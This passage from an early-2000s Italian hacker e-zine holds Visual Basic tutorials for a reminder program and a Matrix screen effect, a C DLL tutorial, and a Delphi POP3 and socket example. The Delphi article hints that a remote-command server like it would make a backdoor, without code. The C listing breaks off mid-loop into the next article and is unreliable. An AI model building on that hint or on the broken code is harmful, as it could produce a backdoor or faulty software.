appena si preme un tasto, supponendo che | | il testo vada in ogni modo cambiato, in quanto non penso che si imposti | | il promemoria per avvertirci di qualcosa che dobbiamo fare nel minuto | | corrente!! | | Altro piccolo appunto: quando si scrive l'ora da impostare per far | | scattare il ProMemoria, si devono mettere anche i punti, altrimenti, | | per una funzione di controllo che vedremo dopo, il programma setterà | | automaticamente ogni volta l'ora a "00.00.00". | | | | | | ------------------------------------------------------------------------ | | Private Sub txtOra_LostFocus() | | Dim i As Integer | | For i = 1 To Len(txtOra) | | If IsNumeric(Mid(txtOra, i, 1)) = False Then | | If Mid(txtOra, i, 1) <> "." Then | | GoTo ErrOra | | End If | | End If | | Next i | | On Error GoTo ErrOra | | txtOra = Format(txtOra, "hh:mm:ss") | | Exit Sub | | ErrOra: | | MsgBox "Formato ora non valido.", vbExclamation, "Errore formato ora" | | txtOra = Format(Now, "hh:mm:ss") | | txtOra.SetFocus | | End Sub | | ------------------------------------------------------------------------ | | Ecco qua la funzione di controllo di cui sopra sulla esatta scrittura | | dell'ora. Questa funzione è necessaria in quanto per vedere se | | l'ora "X" è scattata dovremo prelevare l'ora dal sistema e confrontarla | | con quella impostata e bisogna far sì che la formattazione delle ore | | sia uguale, altrimenti si intrippa e non ci avverte mai!! | | Comunque...dicevamo...questa funzione controlla prima di tutto che nel | | testo siano presenti solo cifre da 0 a 9 o punti "." (di separazione), | | perchè altrimenti se ci sono altri caratteri va in palla tutto e non | | funziona, dopodichè formatta l'ora inserita secondo il formato | | richiesto. Come vi ho detto se non inserite i punti formatterà l'ora | | a "00.00.00", quindi inserite i punti quando scrivete l'ora. | | Se scriverete un0ora del tipo "12.4.6" il programma ve la formatterà | | come "12.04.06", e via dicendo. | | In caso di errore (stringa troppo lunga, caratteri non validi, ecc.) ci | | apparirà una finestra che ci avverte della non validità del formato | | dell'ora e resetterà il test di nuovo secondo l'ora di sistema. | | | | | | ------------------------------------------------------------------------ | | Private Sub txtProMemoria_GotFocus() | | txtProMemoria.SelStart = 0 | | txtProMemoria.SelLength = Len(txtProMemoria) | | End Sub | | ------------------------------------------------------------------------ | | Per la spiegazione di queste due semplici istruzioni vedere Private Sub | | txtOra_GotFocus(). | | | | | | ------------------------------------------------------------------------ | | Private Sub cmdEsci_Click() | | Unload Me | | End Sub | | ------------------------------------------------------------------------ | | Il tasto Esci...se lo si preme si scarica il programma dalla memoria e | | chi s'è visto s'è visto!! | | | | | | ------------------------------------------------------------------------ | | Private Sub cmdAttiva_Click() | | Timer = True | | Me.Hide | | End Sub | | ------------------------------------------------------------------------ | | Il tasto Attiva...se lo si preme aziona il Timer e nasconde il Form che | | sparirà dallo schermo e dalla barra d'avvio, per riapparire a tempo | | debito ed avvertirci dei nostri impegni. | | | | | | ------------------------------------------------------------------------ | | Private Sub Timer_Timer() | | Dim strOra As String | | strOra = Format(Now, "hh:mm:ss") | | If strOra > txtOra Then | | MsgBox "Ricordati che..." & txtProMemoria, vbInformation, "Pro | | Memoria, ore: " & txtOra | | Unload Me | | End If | | End Sub | | ------------------------------------------------------------------------ | | Il Timer, il cuore del ProMemoria, ogni 20 secondi circa (ma lo si può | | impostare anche su tempi diversi, ricordando che 1000 corrisponde a | | circa un secondo) scaricherà l'ora di sistema in una variabile, | | formattandola a dovere, per poi controllarla paragonandola con l'ora da | | noi impostata e, nel caso sia uguale o maggiore (maggiore perchè | | chiaramente avvenendo il controllo ogni venti secondi rischiamo quasi | | sicuramente di andare oltre l'ora impostata di qualche secondo) ci | | avverte con un MsgBox (ovvero una finestrella) il cui titolo sarà "Pro | | Memoria, ore: " e il cui testo riporterà il ProMemoria | | da noi scritto (ad esempio: "Ricordati che devi hackerare il server | | xxx!!"). | | | | | | Ecco qua...è tutto...difficile? Direi di no...eppure può rivelarsi a | | volte molto utile, vi assicuro...ad esempio, dovete andare dalla vostra | | ragazza a festeggiare il suo compleanno? Potrete evitare che la vostra | | unica compagna rimanga la tastiera...dovete andare a fare la spesa (o | | che so io)? Potrete evitare che vostra madre scleri...dovete andare a | | lavorare? Potrete evitare il licenziamento...dovete andare dagli sbirri | | per rispondere di atti di "violenza informatica"?Beh...che lo impostate | | a fare...SCAPPATE!! | | Ok, a parte gli scherzi, quando vi metterete davanti al Pc a volte vi | | accorgerete che vi potrà tornare utile attivarlo per ricordarvi che è | | giunta l'ora di staccarvi dallo schermo!! | | E' chiaro che si possono apportare modifiche al programma, ad esempio, | | formattando l'ora senza secondi e uguale a quella scaricata dal | | sistema, il blocco di gestione e controllo del formato risulterà più | | leggero, e così via, ma ciò nonostante il codice soprà riportato è | | abbastanza veloce, poco spazioso e completo, quindi non mi sono | | sbattuto troppo per migliorarlo ulteriormente...se vi va fatelo da voi!! | | | | Ok...vi saluto e vi ringrazio per l'ascolto...se volete scrivermi per | | un motivo qualsiasi la mia e-mail è: Toscaio@Hotmail.com | | Se non volete scrivermi è uguale, evidentemente non avevate niente da | | dirmi, quindi alla prossima volta...per ora è tutto!! | | Au revoir... | | | | | | @#§§--§§#@ | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 | | MATRiX [Pupi] 0x0F/0x20 | +--------------------------------------------------------------------------+ | | | MATRIX | | | | | | A chi, fra tutti gli spippolatori che leggeranno questo documento, non | | è mai passato per la testa di riprodurre quella schermata che si vede | | nel film Matrix in cui colonne di simboli cadono per lo schermo e nelle | | quali gli abitanti della navetta di Morpheus riescono a vedere "belle | | bionde e cosce lunghe"? | | | | ...Il cucchiaino non esiste... | | | | Non so a voi, ma a me ha tormentato per mesi la curiosità di scoprire | | se davvero in tali masse di dati si riescono a vedere bionde e cosce e, | | spinto da questi nobili principi, ho deciso di riprodurre quella | | schermata...o meglio...all'inizio avevo deciso di cercarne una già | | fatta | | per evitarmi la fatica e nonostante i compagni di ondaquadra mi abbiano | | dato molte dritte su dove potevo trovarla...non ne ho trovata nessuna!! | | Tutte brutte copie lontane mille miglia dalla reale schermata...e | | allora...se non la posso trovare, la creo!!! | | La scelta del linguaggio è caduta su Visual Basic (perkè?beh...ho preso | | un dado, ad ogni numero corrispondeva un linguaggio, l'ho tirato per | | aria...e...Visual Basic!!). | | Premetto che il risultato è abbastanza soddisfacente e molto vicino | | alla reale schermata, tanto che quando l'ho fatto partire per la prima | | volta (non è partito, diciamo la seconda o terza,và...)mi sono stupito | | io stesso... | | Spero, una volta letto questo testo, che qualcuno se la faccia | | prendere bene e si metta come me a scervellarsi per riprodurre | | fedelmente la famosa schermata, magari partendo dal sorgente che | | troverà di seguito e migliorandolo... | | Allora...iniziamo... | | | | | | Pillola blu, pillola rossa... | | | | ...Blu?A' Morpheus, cazzo dici!!...guarda che sò giovane ancora, | | niente Viagra per me... | | | | Mi sono accorto purtroppo (riguardando per l'ennesima volta il film, | | che già che ci sono me lo riguardo per intero ogni volta!!) che nella | | schermata ogni colonna ha velocità propria, differente dalle altre, e | | per far questo in Visual Basic bisogna (ahimè) creare un timer per ogni | | colonna... | | Questo rende il tutto un po' complicato e non potevo certo permettermi | | di creare un timer a colonna per un programma che gira su tutto | | schermo...quindi...ho deciso di creare una matrice di timer (con 20 | | timer, ma va bene anke meno o di +) con le seguenti caratteristiche: | | | | Name=Timer (per tutti uguale, sennò che matrice è!!); | | Index=da 0 a 19 (per i più duri, il primo timer ha index zero, il | | secondo ha index uno e così via); | | Interval=10 il primo, 20 il secondo, 30 il terzo e così via fino a | | 200... | | Enabled=True (x tutti) | | | | Poi necessitiamo di un altro timer aggiuntivo che chiameremo TimeSost e | | che serve solo per una funzione "opzionale" che vi spiegherò dopo e | | quindi potete anke levarlo ma a me piace e poi anche in Matrix c'è | | quella funzione e allora l'ho messo e poi che volete sapete che vi dico | | ok ve la siete cercata...nun me scassate ò kazz!!! | | Lo stesso vale per TimeLet e TimeStr, anch'essi utili solo per una | | funzione grafica che rende il tutto un po' + carino. | | Le caratteristiche di TimeSost sono semplicemente Enabled=true e | | Interval=10. | | Per TimeLet, Enable=true e Interval=50. | | Infine per TimeStr (secondo me la + carina fra tutte le funzioni | | grafiche di questo programmino), Enabled=true e Interval=100 (o75,se la | | volete + veloce). | | Fatto questo prendiamo il form, proprietà e modifichiamo: | | | | backcolor=nero; | | filecolor e forecolor (non so quale è quello sicuro, ma se li mettete | | tutti e due funziona e quindi...) su un verde brillante (avete presente | | il verde delle foglie di marijuana durante i primi giorni di vita?); | | Controlbox, enabled, clipcontrols tutti su false; | | caption= (vuol dire che non ci deve essere scritto niente in | | caption); | | borderstyle=fixed single; | | scalemode=4 (character); | | Tipo carattere: Arial Black, di dimensione 7, senza grassetto o corsivo | | o sottolineato. | | | | Ecco qua...il form è pronto...manca solo da impostare WindowsState su | | 2: Maximized...TUTTO SCHERMO!!! Ve la consiglio...una volta pronto sarà | | un flash stupendo... | | Ok...nient'altro da dire...(Almeno credo...se mi sono dimenticato | | qualcosa ve lo dico dopo)...possiamo passare alla parte riguardante i | | moduli. | | | | | | Follow the white rabbit... | | | | Ok...fatto il form arriva adesso la parte + bella e intortante: vi | | spiegherò uno ad uno cosa fanno i vari timer ed in seguito li | | rispiegherò in funzione di Matrix. Kiaro, no? | | Or dunque...i vari timer (quelli della matrice) partono ognuno dal | | punto zero (prima riga) di una colonna a caso e ogni volta che arrivano | | in fondo cambiano colonna e rifanno sulla nuova colonna lo stesso | | lavoro, e così via, all'infinito. Ma cos'è che fanno? Lo spiego subito. | | Ad ogni istanza (copia) del timer viene assegnata una variabile dove | | viene messo un valore a caso (anke questo viene riscritto ogni volta | | che arriva a fondo colonna) che è un punto a caso lungo la colonna. Il | | timer ad ogni "clock", partendo da zero, cancella un eventuale valore | | scritto e riscrive un valore a caso del codice Ascii (tradotto in | | simbolo, s'intende) nel punto indicato al momento e "scende" di una | | riga lungo la propria colonna assegnata. Questo fino a quando non | | arriva al suo "punto". Da lì in poi inverte la sua funzione e invece | | che scrivere, cancella tutto ciò che trova sul suo cammino. | | Come riesce a fare questo ve lo spiegherò in seguito. | | L'altro timer invece (TimeSost) ha una variabile che cambia | | continuamente durante l'esecuzione di Matrix e che contiene ogni volta | | anch'essa un valore tradotto in carattere del codice Ascii. Ad ogni | | rintocco della campana TimeSost calcola un punto a caso nello schermo | | e, se c'è il riskio che sia "vuoto", lo lascia com'è, ma se ha la | | certezza che sia "pieno", ovvero ci sia già scritto qualcosa, cambia | | semplicemente il valore che vi trova con un nuovo valore. Perkè? Perkè | | si, perkè mi piaceva e quindi l'ho fatto e se riguardate Matrix vi | | accorgerete che ho fatto bene a farlo!!! :p | | Per quanto riguarda TimeLet, parte semplicemente come i normali timer | | di colonna da zero e mantiene via via che scende sempre la stessa | | lettera MAIUSCOLA o lo stesso numero, ma a differenza dei timer di | | colonna non lascia la scia (gioco di parole non voluto) ma cancella via | | via tutto ciò che si lascia alle spalle. Poi, ad un punto pre- | | calcolato, si ferma lasciando ciò che trasportava...si avrà quindi | | l'impressione ad esempio di una lettera in caduta libera lungo lo | | schermo!!bello, no? | | Infine, TimeStr fa ben 2 cose al prezzo di una, ovvero controlla due | | funzioni: | | la prima è simile al controllo di TimeLet, ma a differenza di quello | | non mantiene sempre lo stesso carattere ma anzi lo cambia continuamente | | e si lascia si una breve scia alle spalle di 10 caratteri e man mano | | che avanza per ogni nuova riga scritta ne cancella una in coda. | | Partendo da zero scende fino a fondo schermo e sparisce oltre la linea | | di fondo completamente; | | la seconda funzione di TimeStr invece consiste nello scrivere una | | stringa di una lunghezza a caso lungo una colonna, ma non come i | | semplici timer partendo da zero e fermandosi in un punto qualsiasi, | | bensì partendo da un punto qualsiasi e fermandosi in un altro punto | | qualsiasi, quindi in un punto imprecisato dello schermo ogni volta | | diverso andrà a scrivere il suo insieme di caratteri casuali... | | Tutto Kiaro? | | | | ...Un'uscita...subito... | | | | Ecco qua...questo è tutto ciò (come se fosse poco) che vi serve per | | creare un programma che riprodurrà quasi fedelmente (seeeee...come no... | | vabbè, io ci ho provato) la schermata di Matrix...ma...ma...io non ci | | vedo niente!!Ne cosce ne bionde... | | Vabbè...vabbè...come non detto...magari migliorandola...cmq,mi sono | | scordato forse la cosa + importante, e quindi ri-eccomi ancora qua... | | Ed ecco a voi... | | | | | | Matrix has you... | | | | ...I codici sorgenti!!!Vi ho già spiegato la funzione di ogni singolo | | timer quindi se non avete capito bene ho non riuscite a capire un riga | | nun me scassate o'kazz!!Prendete un manuale di Visual Basic e ve lo | | studiate...oppure...oppure...scrivetemi, và...sarò gentile e vi fornirò | | ulteriori spiegazioni, ok?E poi non andate in giro a dire che Pupi è | | una merda e non spiega le cose o via dicendo che se vi becco ve | | sfracello a'capa!! | | Allora, proseguiamo (in ordine): | | | | ...Sta cominciando a convincersi... | | | | Inizierò con lo spiegarvi cosa fa Form_Load, ovvero inizializza tutti i | | registri del programma in modo che all'avvio non contengano valori | | nulli e ritardino o peggiorino l'esecuzione (e vi giuro che lo | | fanno, 'sti bastardi!!). Ma volendo si può provare anche l'esecuzione | | senza eseguire questa Sub, e vedere che fa (magari niente)...nei codici | | che ho scritto sotto infatti non ho messo il Load del Form e sul mio Pc | | non crea casini, ma se sui vostri lo fa prendete tutte le variabili | | riportate in cima e inizializzatele (come? Minkia...un po' di | | fantasia...se proprio non ci riuscite scrivetemi che ve lo dico, ok?). | | Certo è che non possiamo levare di sicuro Timer_timer, che gestisce | | ogni singolo "rintocco" di ogni singolo timer di colonna (praticamente | | manda avanti tutta la baracca). Questa Sub calcola se il punto corrente | | su cui va ad agire il timer che ha chiamato è un punto di scrittura o | | un punto di cancellazione, e chiama quindi le due function TimeGen o | | TimeCanc a seconda di quello che si deve fare, oppure, se il punto | | indicato "sfonda" al di fuori dello skermo, rinizializza il timer | | cambiandogli colonna e punto di inversione. | | Continuerò spiegandovi come funziona e che cacchio è la Function | | TimeGen: | | Innanzitutto TimeGen viene chiamata indipendentemente dai Timer di | | colonna che le passano ognuno per conto suo la colonna di azione e la | | riga alla quale erano rimasti (vedi Private Sub Timer_timer(index as | | integer)) | | Or dunque...TimeGen è la funzione a cui ogni timer di colonna fa | | riferimento per cancellare il simbolo presente nel punto a cui si sta | | indicando al momento e sostituirlo con un altro simbolo, e visto che se | | si scrive senza cancellare i simboli si sovrappongono e sui form non | | esiste un modo di cancellare diretto, bisogna passare dall'uscita di | | sicurezza, ovvero creare un quadrato sul simbolo precedente con Line e | | riempirlo col colore di fondo del form per poi poterci riscrivere sopra. | | Semplice, no? | | Ad ogni scadere del clock quindi ogni singolo timer riscrive (anzi, | | cancella e riscrive) un simbolo nella posizione corrente del form e | | avanza lungo la propria colonna, quindi, quando arriva a fine colonna, | | riparte da 0 cambiando colonna e cambiando pure punto di inversione | | della funzione (da scrittura a cancellatura). Infine ogni volta che | | viene eseguito TimeGen la variabile varcas (string) muta e vi viene | | scritto dentro un nuovo simbolo. | | Di contro, esiste la function TimeCanc che invece che cancellare e | | riscrivere, cancella solamente tutto ciò che trova sul suo cammino. | | Quale delle due ogni timer deciderà di eseguire dipenderà dal fatto se | | è "sopra" (ovvero in righe + alte) del "punto di cambio" oppure se si | | trova "sotto". Anke la funzione TimeCanc cambia il valore contenuto | | nella variabile varcas. | | | | ...Ahò...Pupi...ce voi dì a'cchè serve 'sta variabbile "varcas" e perkè | | tutti la modificano?... | | | | Perkè? | | Perkè c'è la sub TimeSost e TimeStrche la prendono quando hanno | | voglia...quando?...mmm... | | | | ...Correva l'anno 2001... | | | | Diciamo allo scadere del proprio timer (vi basta come spiegazione?No? | | Cakki vostri...fatevela bastare!!)...dicevamo, la sub TimeSost prende | | la variabile varcas, sceglie un punto a caso del form, se ha la | | certezza che è "occupato" cancella quello che c'è scritto | | e...zac!!...ci piazza la sua variabiluccia, altrimenti, se pensa che | | sia "vuoto" gli pijia male e se la leva senza fare niente di | | che...perkè lo fa?...beh...boh...potete anke levarlo, in effetti, ma fa | | + varietà, mi piaceva... | | La sub TimeStr uguale, ovvero prende per le proprie funzioni (che ho | | spiegato sopra e quindi non mi rimetterò a spiegare) la variabile | | varcas e fa quello che deve fare, ovvero scrive e fa scorrere la | | stringa "a scorrimento" e incide l'altra stringa nel punto "a caso" che | | si è scelta, sempre diversi ( a dir la verità la stringa a scorrimento | | poi è sempre 10 colonne a sinistra della stringa incisa a caso). | | Dulcis in fundo...TimeLet!! Ha una variabile a se stante che è una | | matrice di due e ci mette un numero e una lettera maiuscola e poi li | | lancia in caduta libera lungo colonne a caso, per poi ripartire da caso | | una volta arrivata al punto in cui rilascia la sua variabile. | | | | ...Ti ho tanto amata...vaffanculo, stronza!!... | | | | Allora...non ci credo...Ho finito... | | | | ...La battaglia per il Fosso di Helm è appena finita, la guerra per la | | Terra di Mezzo sta per cominciare... | | | | Ecco qua di seguito i codici sorgenti del programmino MATRIX che ho | | realizzato...se seguirete attentamente le mie istruzioni di cui sopra | | funzionerà tutto alla perfezione...come vi ho detto non sarà uguale ma | | molto simile...a voi il compito di migliorarlo, se vi va (fatevelo | | andare, per favore)... | | | | ------------------------------------------------------MATRIX------------ | | ------------------------------------------------------------------ | | | | Dim j(19) As Integer | | Dim z(19) As Integer | | Dim counter(19) As Integer | | Dim timestr1 As Integer | | Dim timestr2 As Integer | | Dim zstr As Integer | | Dim jstr As Integer | | Dim zlet(1) As Integer | | Dim jlet(1) As Integer | | Dim varlet(1) As String | | Dim countlet(1) As Integer | | Dim sost As Integer | | Dim varcas As String | | Dim xpoint As Integer | | Dim ypoint As Integer | | | | Function TimeGen(col As Integer, riga As Integer) As String | | Randomize | | Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), BF | | PSet (col, riga) | | Print Chr(Rnd * 255) | | Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), B | | TimeGen = Chr(Rnd * 255) | | End Function | | | | Function TimeCanc(col As Integer, riga As Integer) As String | | Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), BF | | TimeCanc = Chr(Rnd * 255) | | End Function | | | | Private Sub TimeLet_Timer() | | Randomize | | For i = 0 To 1 | | If jlet(i) > countlet(i) Or zlet(i) = 0 Then | | zlet(i) = Rnd * ScaleWidth | | jlet(i) = 0 | | countlet(i) = Rnd * (ScaleHeight - 2) | | If i = 0 Then | | Do | | X = CInt(Rnd * 57) | | varlet(i) = Chr(X) | | Loop While (X < 48) | | Else | | Do | | X = CInt(Rnd * 90) | | varlet(i) = Chr(X) | | Loop While (X < 65) | | End If | | End If | | Line (zlet(i), jlet(i) - 1)-(zlet(i) + 1, jlet(i)), RGB(0, 0, 0), BF | | Line (zlet(i), jlet(i) - 1)-(zlet(i) + 1, jlet(i)), RGB(0, 0, 0), B | | Line (zlet(i), jlet(i))-(zlet(i) + 1, jlet(i) + 1), RGB(0, 0, 0), BF | | PSet (zlet(i), jlet(i)) | | Print varlet(i) | | Line (zlet(i), jlet(i))-(zlet(i) + 1, jlet(i) + 1), RGB(0, 0, 0), B | | jlet(i) = jlet(i) + 1 | | Next i | | End Sub | | | | Private Sub TimeSost_Timer() | | Randomize | | Dim xpos As Integer | | Dim ypos As Integer | | tryagain: | | xpos = z(sost) | | ypos = Rnd * counter(sost) | | If ypos > j(sost) Then | | GoTo tryagain | | Else | | Line (xpos, ypos)-(xpos + 1, ypos + 1), RGB(0, 0, 0), BF | | PSet (xpos, ypos) | | Print varcas | | Line (xpos, ypos)-(xpos + 1, ypos + 1), RGB(0, 0, 0), B | | End If | | sost = sost + 1 | | If sost > 19 Then sost = 0 | | End Sub | | | | Private Sub Timer_Timer(index As Integer) | | Randomize | | If j(index) < counter(index) Then | | varcas = TimeGen(z(index), j(index)) | | ElseIf j(index) > counter(index) And j(index) < ScaleHeight Then | | varcas = TimeCanc(z(index), j(index)) | | Else | | z(index) = Rnd * ScaleWidth | | j(index) = -1 | | counter(index) = Rnd * ScaleHeight | | End If | | j(index) = j(index) + 1 | | If j(index) = counter(index) Then j(index) = j(index) + 1 | | End Sub | | | | Private Sub TimeStr_Timer() | | Randomize | | If (timestr1 = 0 And timestr2 = 0) Or jstr > (ScaleHeight + 10) Then | | timestr1 = Rnd * ScaleHeight / 2 | | timestr2 = timestr1 + 18 | | zstr = Rnd * (ScaleWidth - 15) | | jstr = 0 | | End If | | If jstr < timestr1 Or jstr > timestr2 Then | | varcas = TimeCanc(zstr, jstr) | | Else | | varcas = TimeGen(zstr, jstr) | | End If | | varcas = TimeGen((zstr + 15), jstr) | | Line ((zstr + 15), jstr - 10)-((zstr + 15) + 1, jstr - 9), RGB(0, 0, | | 0), BF | | Line ((zstr + 15), jstr - 10)-((zstr + 15) + 1, jstr - 9), RGB(0, 0, | | 0), B | | jstr = jstr + 1 | | End Sub | | | | Private Sub Form_DblClick() | | End | | End Sub | | | | | | --------------------------------------------------------------END------- | | --------------------------------------------------------------------- | | | | E così...anke i codici sorgenti sono finiti...non ho più niente da | | dirvi (per ora) e quindi non mi resta che salutarvi...se qualcuno fosse | | preso dalla voglia di migliorare il mio programma o magari scriverlo | | nuovo, sarei felice se mandasse sulla mia e-mail (in fondo) ogni | | eventuale modifica o nuova stesura del codice sorgente (anke in altri | | linguaggi). | | Per eventuali delucidazioni (senti qua che paroloni) scrivetemi pure... | | Se avete una sorella bona scrivetemi a maggior ragione e presto e | | magari mandate anke il numero del cellulare (di lei, ovvio)... | | | | Ok...vi saluto... | | Grazie a tutti per l'ascolto... | | Ah...ehy, Screener, visto che non sei il solo a usare questo cavolo di | | linguaggio? ;) | | | | A presto... | | | | ...Au Revoir...fatevi sentire... | | | | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | | @@@@@@@@@@@@@@@@@ ------"Pupi"------ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | | @@@@@@@@@@@@@@@@ -Toscaio@Hotmail.com- @@@@@@@@@@@@@@@@@@@@@@@@@@@@ | | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 | | CREARE UNA DLL iN C PER ViSUAL BASiC [cyberdude] 0x10/0x20 | +--------------------------------------------------------------------------+ | | | _____________________________________ | | CREARE UNA DLL IN C PER VISUAL BASIC | | _____________________________________ | | ___________________by_Cyberdude______ | | | | Ciao a tutti ragazzi... sto a casa mia in veranda, come al solito | | avanti alla mia postazione (il PC) domani tengo il compito di | | matematica anche se forse non entriamo perchè non siamo molto | | capaci di farlo!Comunque non è questo che ci interessa tra un pò | | dovrebbero venire Michele e Luciano a studiare qui perchè dobbiam | | ripetere la matematica! Voi direte e a noi cosa ce ne frega? beh | | penso proprio che abbiate ragione, non è altro che un cazzuto di | | intro schifoso, comunque se proprio volete saperlo, sto scrivendo | | quello che mi esce dalla testa per occupare un pò di tempo perchè | | mentre non vengono i miei amici non so che fare! | | | | Allora, di cosa vi parlo? Partiamo dal presupposto che questo | | articolo devo inviarlo ad una crew per pubblicarlo su chi sa quale | | E-zine! Certo potrebbe succedere anche che questo testo venga | | cestinato direttamente ma comunque penso di dover parlare di qualche | | cosa che riguarda l'informatica... ihihih che bello la mia materia | | preferita! | | | | Dunque vediamo un pò...datemi un pò di tempo che ci penso e vi | | faccio sapere di cosa parleremo!! | | | | Ecco ci sono vi spiegherò come creare una DLL in C per Visual Basic | | che ne dite vi piace? beh penso che se lo state leggendo vi piace | | perchè metterò come titolo proprio questo : | | | | CREARE UNA DLL IN C PER VISUAL BASIC | | | | Allora prima di iniziare vorrei farvi una premessa,Creare una DLL | | in C per Visual Basic può sembrare quanto di più controverso e labile | | possibile, ma in realtà non è così e questo articolo spiega proprio | | come fare fornendo codice sia in C, per la creazione della DLL, sia | | in Visual Basic, che usufruisce della DLL stessa | | | | NAturalmente belli miei se non sapete programmare in C fate come me... | | prima di leggere questo tutorial leggetevi prima una guida sulle | | basi del C ok? | | | | Detto questo direi di passare direttamente ad analizzare il codice | | | | Osservate questa funzione che esegue la somma di un array: | | ---Codice--- | | /* DLL di dimostrazione su come fare la somma di un array dichiarato | | in Visual Basic e passato in Microsoft Visual C++ 4.0 */ | | extern "C" __declspec (dllexport) long __stdcall SommaArray(short | | *Array,long Elementi) | | { | | long SommaParziale=0; | | long ElementoCorrente; | | | | for (ElementoCorrente=0;ElementoCorrente>> DELPHI | | -------------------------------------------------------- | | | | In questo articolo parleremo di | | | | >> INTERNET APPLICATION IN DELPHI | | Siamo pronti? direi di non perdere altro tempo e di far | | presto a iniziare!! | | | | Schiattatevi nella testa questa introduzione e poi si | | inizia ... Delphi offre, senza dubbio, l’approccio più | | semplice per sfruttare tutti i servizi che Internet ci | | offre. Alcuni sono utilizzabili "a naso" e non | | necessitano di alcuna spiegazione. La guida in linea | | offre esempi completi, molto esaurienti. Non aspettatevi | | dunque, di trovare una guida sull’utilizzo di nmftp, | | nmpop3 o simili, poiché ne rimarrete delusi. Vedremo, | | invece, come ottenere gli stessi risultati con un | | maggiore controllo utilizzando i protocolli classici, | | in primis il tcp (Transmission Control Protocol). Buona | | lettura! | | | | In questo paragrafo, vedremo come controllare se abbiamo | | nuova posta e come leggerla. Dovremo basarci sul | | protocollo pop3 (post office protocol). E’ di certo il | | più semplice, perché composto da soli pochi comandi. | | Non li vedremo tutti, ma solo quelli che serviranno ai | | nostri scopi. Lascio ai più curiosi l’esplorazione | | totale di questi argomenti. I due componenti da | | trascinare sul form (che serviranno sempre) saranno due: | | TNMMsg e TServerSocket. Entrambe le classi (una fornita | | da NetMasters e l’altra da Borland) hanno le stesse | | funzioni, pertanto ho deciso di usarle entrambe, una in | | veste di client, l’altra di socket. Vediamo, ora, le | | proprietà più rilevanti di tali componenti. | | Host=l’indirizzo Ip o il nome del server a cui | | intendiamo connetterci. Port= la porta su cui | | trasmetteremo i nostri dati. ReportLevel = il grado di | | dettaglio con cui ci saranno presentate le stringhe di | | risposta del server; è sempre bene settarlo con un | | valore superiore a zero. Timeout = il tempo limite che | | il componente aspetterà una risposta del server prima di | | chiudere la connessione; zero indica l’assenza di un | | valore limite. | | | | procedure TForm1.Button1Click(Sender: TObject); | | //procedura per connettersi | | | | begin | | | | msgout.Host := 'mail.posta.net; | | //server di posta | | | | msgout.Port := 110; | | //pop3 | | | | msgout.TimeOut := 15000; | | //aspettiamo risposte dal server 15 sec prima di | | disconnetterci | | | | msgout.ReportLevel := 2; | | //così ci saranno date le risposte del server | | | | msgout.Connect; | | //ci connettiamo | | | | end; | | | | | | | | procedure TForm1.Button2Click(Sender: TObject); | | //procedura per leggere | | | | begin | | msgout.SendBuffer('user username' + #13 + #10, 64); | | sleep(1500); | | //username | | | | msgout.SendBuffer('pass password' + #13 + #10, 64); | | sleep(1500); | | //password | | | | msgout.SendBuffer('stat' + #13 + #10,64); sleep(1500); | | //situazione attuale | | | | msgout.SendBuffer('retr 1' + #13 + #10,64); sleep(3500); | | //visualizza i messaggi | | | | msgout.SendBuffer('dele 1' + #13 + #10,64); | | //cancella il messaggio | | | | end; | | | | | | procedure TForm1.Button3Click(Sender: TObject); | | //procedura per disconnettersibegin | | | | msgout.Disconnect; | | //ci disconnettiamo | | | | end; | | | | | | | | I commenti posti sotto le righe di codice rendono | | inutile ogni spiegazione ulteriore. Da notare l’invio, | | dopo ogni stringa, dei caratteri 13 e 10, cioè la | | simulazione della pressione del tasto . A questo | | punto, sarete anche in grado di inviare una e-mail o | | mandare messaggi ai newsgroup. Tuttavia, l’approccio | | presentato non è il migliore: inviare una stringa ogni | | n secondi non va bene per un’applicazione seria. Infatti | | dovremmo spedire ogni volta che il server risponde. | | Basta comunque dare un’occhiata all’evento OnStatus, | | per vedere che è proprio ciò che stavamo cercando. | | Vediamo, ora, come simulare un server che, alla | | ricezione di una stringa, la visualizza in una TextBox. | | Innanzi tutto, aggiungiamo sulla maschera un controllo | | TServerSocket e settiamo a 1024 la proprietà Port: | | | | procedure TForm1.FormCreate(Sender: TObject); | | begin | | servSock.Active := true; | | //allo start up mettiamo il server in ascolto | | end; | | | | procedure TForm1.servSockClientRead(Sender: TObject; | | Socket: | | TCustomWinSocket); | | begin | | strClient.Lines.Add(Socket.ReceiveText); | | //mettiamo in un memo ciò che riceviamoend; | | | | procedure TForm1.servSockAccept(Sender: TObject; Socket: | | TCustomWinSocket); | | begin | | strClient.Lines.Add('Connected'); | | //avvertiamo l’utente dell’avvenuta connessione | | end; | | | | | | Tre righe! Incredibile, no?Nulla vieta di poter | | rispondere…e da ciò si capisce che sarà anche | | relativamente facile realizzare una piccola chat.Adesso, | | immaginate di scrivere un client che invia delle | | stringhe a un server posto su un pc di un vostro amico. | | Tale server prende il buffer e, a seconda di ciò che | | riceve, esegue delle operazioni sul pc. Non vi viene in | | mente nulla? Ma certo che sì… le backdoors (tipo back | | orifice, netbus etc.) funzionano proprio così. | | | | In pratica ragazzi,non sono per nulla difficili da | | realizzare, né da usare. Potrei dilungarmi con tanti | | altri esempi, ma continuerei a mostrarvi listati sempre | | simili, con le uniche modifiche necessarie per sfruttare | | l’uno o l’altro protocollo. Meglio lasciare a voi la | | palla... divertitevi pure hihihihhi :) | | | | Volete anche le conclusioni di questo tutorial? e io ve | | le do ... tutti i linguaggi offrono un modo più o meno | | personalizzabile/semplice da usare. Delphi è sicuramente | | il più adatto. Infatti potrete scegliere se usare | | pacchetti preconfezionati tipo NMPOP3, oppure | | personalizzare maggiormente il lavoro, usando | | l’incapsulamento dei socket o, addirittura, scegliere | | di lanciarsi tra le API nude e crude di winsock32.dll. | | Nulla vieta poi di mischiare le possibilità. | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | 